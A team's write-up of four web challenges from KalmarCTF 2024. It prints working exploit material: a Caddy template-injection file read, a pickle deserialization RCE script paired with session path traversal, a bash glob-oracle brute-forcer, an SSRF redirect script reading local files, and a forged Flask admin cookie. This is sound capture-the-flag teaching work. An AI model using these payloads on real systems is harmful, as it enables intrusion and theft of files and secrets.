Writeups
These are the web challenges our team solved at KalmarCTF 2024!
web/Ez ⛳ v2
This was a throwback to last year’s KalmarCTF where there was a similar challenge. I don’t exactly remember the details (I’m sure you can find some writeups online) but it was based on Caddy and that stuck in my mind.
Downloading the source, we see there is only really a docker-compose.yml
and a Caddyfile
which is pretty unusual for a web challenge so I instantly knew it would be an issue with the Caddy configuration. What caught my eye was the following two routes:
1
2
3
4
5
6
7
8
9
10
11
ua.caddy.chal-kalmarc.tf {
tls internal
templates
import html_reply `User-Agent: {{.Req.Header.Get "User-Agent"}}`
}
http.caddy.chal-kalmarc.tf {
tls internal
templates
import html_reply "You are connected with {http.request.proto} ({tls_version}, {tls_cipher})."
}
This is strange! They are using two different approaches to rendering user-supplied variables. The latter looks far more standardized. This made me think there might be some potential for a template injection and so I tried {{7*7}}
in my user agent and was greeted with a 500 Internal Server Error. Okay, that is weird! I next tried {{7}}
and it was rendered as 7
. I’m still not 100% sure at this point if we have a template injection and so I tried the same template they used: {{.Req.Header.Get "User-Agent"}}
but it sadly didn’t work and was printed as text. Then it hit me! I’m trying to read the user agent header so it’s obviously going to show me my own payload. I change it to instead read Accept
=> {{.Req.Header.Get "Accept"}}
and it worked!
Okay, so we have a template injection here but what can we actually do? Thankfully I came across a really helpful resource: https://caddyserver.com/docs/modules/http.handlers.templates
This contains, as far as I can tell, everything we can do with templates in Caddy. I went through the list line by line trying each directive. Using both include
and readFile
we can achieve local file disclosure on any file on the server:
1
{{readFile "/etc/passwd"}}
But this isn’t sufficient because our docker-compose.yml
renames the file to a random value:
- ./flag:/wpqdDNHnYu8MZeclmpCr9Q:ro # FILE WILL BE RENAMED TO SOMETHING SIMILAR RANDOM ON PROD
So we need a way to list the files. The same link I provided has a listFiles
directive near the bottom. Listing the root directory we are able to see: CVGjuzCIVR99QNpJTLtBn9
and reading this file we get our flag:
kalmar{Y0_d4wg_I_h3rd_y0u_l1k3_templates_s0_I_put_4n_template_1n_y0ur_template_s0_y0u_c4n_readFile_wh1le_y0u_executeTemplate}
I just missed the first blood on this by about 5 minutes which was sad but I’ll be faster next time! :D
web/File Store
This one was pretty similar to a memcache RCE on HTB a few days ago affecting flask sessions. So, this was pretty fresh on my mind.
Downloading the source, we see it’s pretty bare and most of the logic is contained in the app.py
file. It’s also a single route which doesn’t really do much but allows you to upload your own files.
The path traversal here is pretty obvious: path = f'static/uploads/{session.sid}'
although they have a block on filenames containing ..
this block is not applied to session id’s which in Flask are completely user-controlled! What is also interesting here is that the SESSION_TYPE
is set to filename
which is something I have seen on a few challenges before.
Setting a flask session to filename
means that session files are saved on the server as files. How do we save them? Well, using Pickle serialization of course! What’s crazy about this is that Pickle is considered dangerous and if you unpickle a user-controlled value it is essentially game over.
The Dockerfile also contains: RUN chmod 777 static/uploads flask_session
which is a pretty major hint that we are going to need to use this directory traversal to overwrite values in the flask_session
directory.
In a normal situation you may think to overwrite app.py
or perhaps templates/index.html
which are both decent approaches depending on the circumstances but these files are not writable here.
When creating a Pickle deserialized value, I very much recommend using the docker file provided. This allows you to generate a payload on a server running the same setup and makes it more likely your pickled object contains the correct references to the modules which exist. You will notice issues if you create your payload on different operating systems and possibly different architectures.
My idea was to create a payload that would run cp /flag.txt /app/static/uploads/abcd.txt
and that way I could see the file in the uploads directory! For these flask sessions there are a few things to note but most importantly you must reserve the first 4 bytes (doesn’t really matter why, just pad it with nullbytes) and when attempting to access a session (to deserialize it) Flask will search for a session called which is a hash of your session cookie. I had read online that it was md5 but from testing locally that was not the case for me and I was not bothered looking through the module source. If you know the algorithm used please let me know!
So, I set my cookie to xxx
and uploaded a file on my local instance. This revealed that xxx
mapped to 254b2716336df2553ce5c04a934d56e4
so we can use this as the name for our serialized Pickle object. We will upload the output of the following script to /app/flask_session/254b2716336df2553ce5c04a934d56e4
here:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import pickle
import os
class RCE:
def __reduce__(self):
cmd = ('cp /flag.txt /app/static/uploads/abcd.txt')
return os.system, (cmd,)
def generate_exploit():
payload = pickle.dumps(RCE(), 0)
return b"\x00"*4 + payload
with open("254b2716336df2553ce5c04a934d56e4", "wb") as f:
f.write(generate_exploit())
Next, I set my session cookie to ../../flask_session
and uploaded the file. This overwrote the session.
Then I set my session to xxx
and refreshed the page. Lastly, I visited /static/uploads/abcd.txt
path and got the flag!
kalmar{still_p1ckling_away_in_2024}
Web/BadAss Server for Hypertext
This was a sourceless web (ew) but was surprisingly fun and insightful! I guess sourceless web isn’t all bad after all. :P
I pretty quickly found that the 404 error page was showing the output of a cat
command which indicated that we were dealing with a server that was piping all paths into cat
and displaying the result! We can easily read local files using this…
GET /../../etc/passwd
confirmed the worst fears of LFD!!
The next step is to make this not a sourceless web challenge. One of my teammates (gg0h) tried out /proc/1/cmdline
and found the following:
1
socatTCP4-LISTEN:8080,reuseaddr,forkEXEC:/app/badass_server.sh
From this he was able to read /app/badass_server.sh
which contained the following:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
#!/bin/bash
# I hope there are no bugs in this source code...
set -e
declare -A request_headers
declare -A response_headers
declare method
declare uri
declare protocol
declare request_body
declare status="200 OK"
abort() {
declare -gA response_headers
status="400 Bad Request"
write_headers
if [ ! -z ${1+x} ]; then
>&2 echo "Request aborted: $1"
echo -en $1
fi
exit 1
}
write_headers() {
response_headers['Connection']='close'
response_headers['X-Powered-By']='Bash'
echo -en "HTTP/1.0 $status\r\n"
for key in "${!response_headers[@]}"; do
echo -en "${key}: ${response_headers[$key]}\r\n"
done
echo -en '\r\n'
>&2 echo "$(date -u +'%Y-%m-%dT%H:%M:%SZ') $SOCAT_PEERADDR $method $uri $protocol -> $status"
}
receive_request() {
read -d $'\n' -a request_line
if [ ${#request_line[@]} != 3 ]; then
abort "Invalid request line"
fi
method=${request_line[0]}
uri=${request_line[1]}
protocol=$(echo -n "${request_line[2]}" | sed 's/^\s*//g' | sed 's/\s*$//g')
if [[ ! $method =~ ^(GET|HEAD)$ ]]; then
abort "Invalid request method"
fi
if [[ ! $uri =~ ^/ ]]; then
abort 'Invalid URI'
fi
if [ $protocol != 'HTTP/1.0' ] && [ $protocol != 'HTTP/1.1' ]; then
abort 'Invalid protocol'
fi
while read -d $'\n' header; do
stripped_header=$(echo -n "$header" | sed 's/^\s*//g' | sed 's/\s*$//g')
if [ -z "$stripped_header" ]; then
break;
fi
header_name=$(echo -n "$header" | cut -d ':' -f 1 | sed 's/^\s*//g' | sed 's/\s*$//g' | tr '[:upper:]' '[:lower:]');
header_value=$(echo -n "$header" | cut -d ':' -f 2- | sed 's/^\s*//g' | sed 's/\s*$//g');
if [ -z "$header_name" ] || [[ "$header_name" =~ [[:space:]] ]]; then
abort "Invalid header name";
fi
# If header already exists, add value to comma separated list
if [[ -v request_headers[$header_name] ]]; then
request_headers[$header_name]="${request_headers[$header_name]}, $header_value"
else
request_headers[$header_name]="$header_value"
fi
done
body_length=${request_headers["content-length"]:-0}
if [[ ! $body_length =~ ^[0-9]+$ ]]; then
abort "Invalid Content-Length"
fi
read -N $body_length request_body
}
handle_request() {
# Default: serve from static directory
path="/app/static$uri"
path_last_character=$(echo -n "$path" | tail -c 1)
if [ "$path_last_character" == '/' ]; then
path="${path}index.html"
fi
if ! cat "$path" > /dev/null; then
status="404 Not Found"
else
mime_type=$(file --mime-type -b "$path")
file_size=$(stat --printf="%s" "$path")
response_headers["Content-Type"]="$mime_type"
response_headers["Content-Length"]="$file_size"
fi
write_headers
cat "$path" 2>&1
}
receive_request
handle_request
Now came the sourced part. We tried a lot of different approaches and I thought I had RCE through overflowing the read
directive but that only worked in my terminal. :(
Eventually another one of our players (Protag) came on and mentioned the possibilities of globbing and word splitting. I have to admit, I was not too familiar with this concept except for a few bash jails I have done before.
I noticed the following logic:
1
if [ $protocol != 'HTTP/1.0' ] && [ $protocol != 'HTTP/1.1' ]; then abort 'Invalid protocol' fi
This has some unquoted variables and may allow us to glob the $protocol
value. I tried a basic test:
1
GET /whatever /app/static/assets/f*
Globbing this should only produce a single result and we got Invalid Protocol
so I next tried:
1
GET /whatever /app/static/assets/*
Which should produce > 1 results. The output from the server this time was a cat
error. Testing a glob which should produce 0 results gave Invalid Protocol
too. This meant we had an oracle whereby we could detect whether there is > 1 files in a directory.
We want to leak the hidden directory containing the flag (presumably). I decided using a regex approach would be best. We have to create a regex which exactly matches ONE of the known folders and then we can brute force values to find the hidden one (so that glob will return 2 files and give us that cat error)!
I’ll save you the manual nightmare which followed but you can see the workings below:
1
/assets/f200d055a267ae56160198e0fcb47e5f/try_harder.tx /app/static/assets/[^fabcde1345678][^123457890abc][^abe][^abcdef124][^abcde1][^abcdef0134][^abdef012347][^012345678abcde][^103456789abcd][^abcdef013][^abcde01234567][^a-f0123456][^a-f0234][^b-f012345678][^ab][^678][^a][^a-f0][^134567890abcdef][^b-f01][^abdef1234567890][^a][^abcdef12340678][^b-f1][^01234568][^a-f01234][^abdef0123][^1234567890abcef][^a][^ac][^a-f02345][^a-f02345]*
And for those of you who are perfectionists, gg0h wrote an automated solution which was pretty cool:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
from pwn import *
known1 = 'f200d055a267ae56160198e0fcb47e5f'
known2 = '26c3f25922f71af3372ac65a75cd3b11'
total_payload = ''
directory = ''
def attempt(payload):
conn = remote('chal-kalmarc.tf',8080)
req = f"""
HEAD /assets/f200d055a267ae56160198e0fcb47e5f/try_harder.tx /app/static/assets/{total_payload}{payload}*
Host: chal-kalmarc.tf:8080
""".lstrip() + "\r\n" * 2
conn.send(req)
resp = conn.recvall()
return resp
for i in range(len(known1)):
flag = False
charset = string.hexdigits[:-6]
charset = charset.replace(known2[i], '')
# case where known1[i] == target[i]
payload = f"[{known1[i]}]"
resp = attempt(payload)
if b'No such file or directory' in resp:
total_payload += payload
directory += known1[i]
print(directory)
continue
for c in charset:
payload = f'[{c}{known1[i]}]'
resp = attempt(payload)
if b'No such file or directory' in resp:
total_payload += payload
directory += c
print(directory)
flag = True
break
# no match by this point means known2[i] == target[i]
if not flag:
total_payload += f"[{known1[i]}{known2[i]}]"
directory += known2[i]
print(directory)
print(total_payload)
print(directory)
flag_payload = f"""
GET /assets/{directory}/flag.txt HTTP/1.1
Host: chal-kalmarc.tf:8080
""".lstrip() + "\r\n" * 2
conn = remote('chal-kalmarc.tf',8080)
conn.send(flag_payload)
print(conn.recvall())
Either way, you will find the hidden directory is 9df5256fe48859c91122cb92964dbd66
and you can find the flag located at /assets/9df5256fe48859c91122cb92964dbd66/flag.txt
to solve it!
kalmar{17b29adf_bash_web_server_was_a_mistake_374add33}
web/Is It Down
This was yet another sourceless web challenge.
We noticed the obvious SSRF straight away. If you intercept the HTTP request you can find the response is given. We tried to use a redirect to a http server and found that it worked. This meant that we could send it to our https website and then redirect to a non-http address from there. Next, gg0h was able to use the file://
URI to leak local files and read the /etc/passwd
file.
I wrote my own PHP script to allow me to automatically play with this bug:
1
2
3
<?php
header("Location: ".$_GET['x']);
?>
This way I could host it on my HTTPS domain and send the bot to:
1
https://ireland.re/exploit.php?x=file:///etc/passwd
Again, the same process of dumping files followed. Similarly, gg0h came in good with the /proc/1/cmdline
file which contained a reference to this /etc/uwsgi/uwsgi-custom.ini
file.
1
2
3
4
5
6
7
8
9
10
11
12
[uwsgi]
uid = www-data
gid = www-data
master = true
processes = 20
http-socket = 0.0.0.0:5000
chmod-sock = 664
vacuum = true
die-on-term = true
wsgi-file = /var/www/keep-dreaming-sonny-boy/app.py
callable = app
pythonpath = /usr/local/lib/python3.11/site-packages
This file contained a reference to /var/www/keep-dreaming-sonny-boy/app.py
as can be seen above!
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
from flask import Flask, request, send_from_directory, session, abort
from requestlib import fetch
from config import session_encryption_key
import subprocess
import os
def protect_secrets():
os.unlink("config.py")
def check_url(url):
if not isinstance(url, str) or len(url) == 0:
return False, "Please provide a regular URL!"
if not url.startswith("https://") or url.lstrip() != url:
return False, "URL must start with 'https://'. We do not want anything insecure here!"
return True, ""
app = Flask(__name__, static_folder='static', static_url_path='/assets/')
app.secret_key = session_encryption_key
print("Using key:", app.secret_key)
protect_secrets()
@app.route('/', methods=['GET'])
def home():
return send_from_directory('pages', 'index.html')
@app.route('/flag', methods=['GET'])
def healthcheck():
if session.get("admin") == True:
return subprocess.check_output("/readflag")
else:
return abort(403)
@app.route('/check', methods=['POST'])
def check():
url = request.form.get("url")
valid, err = check_url(url)
if not valid:
return {
'success': False,
'error': err
}
if True:
content = fetch(url)
return {
'success': True,
'online': content is not None,
'content': content
}
if __name__ == "__main__":
app.run(host='0.0.0.0', port=10600, debug=False)
No more sourceless! We know we need to visit /flag
with admin
set to True
which means we would need to leak the session_encryption_key
value.
Sadly, the config.py
file is deleted at runtime. We got stuck here for some time and went down some uWSGI rabbit holes. We also looked into the possibility to leaked the stdout where the value is printed to the screen.
Some time later it hit me and I recalled that __pycache__
exists! I spun up an environment with the same Python version (3.11
) and generated some pycache. This allowed me to predict the path: /var/www/keep-dreaming-sonny-boy/__pycache__/config.cpython-311.pyc
and it was dumped!
What followed was a little bit of “reverse engineering” to pick apart from the output which part was the key:
1
\xa7\\r\\r\\n\\x00\\x00\\x00\\x00:\\xbe\\xf5e;\\x00\\x00\\x00\\xe3\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xf3\\n\\x00\\x00\\x00\\x97\\x00d\\x00Z\\x00d\\x01S\\x00)\\x02\\xda Rm7GbQJ4uDikyiis6miD7YwsN11rEjfLN)\\x01\\xda\\x16session_encryption_key\\xa9\\x00\\xf3\\x00\\x00\\x00\\x00\\xfa*/var/www/keep-dreaming-sonny-boy/config.py\\xfa\\x08<module>r\\x07\\x00\\x00\\x00\\x01\\x00\\x00\\x00s\\x11\\x00\\x00\\x00\\xf0\\x03\\x01\\x01\\x01\\xd8\\x19;\\xd0\\x00\\x16\\xd0\\x00\\x16\\xd0\\x00\\x16r\\x05\\x00\\x00\\x00
Then I simply used flask-unsign
like so:
1
flask-unsign --sign --cookie "{'admin': True}" --secret "Rm7GbQJ4uDikyiis6miD7YwsN11rEjfL"
Copy this to your session
cookie and visit /flag
to solve it.
kalmar{Rem3Mbr_T0_fl0sh!}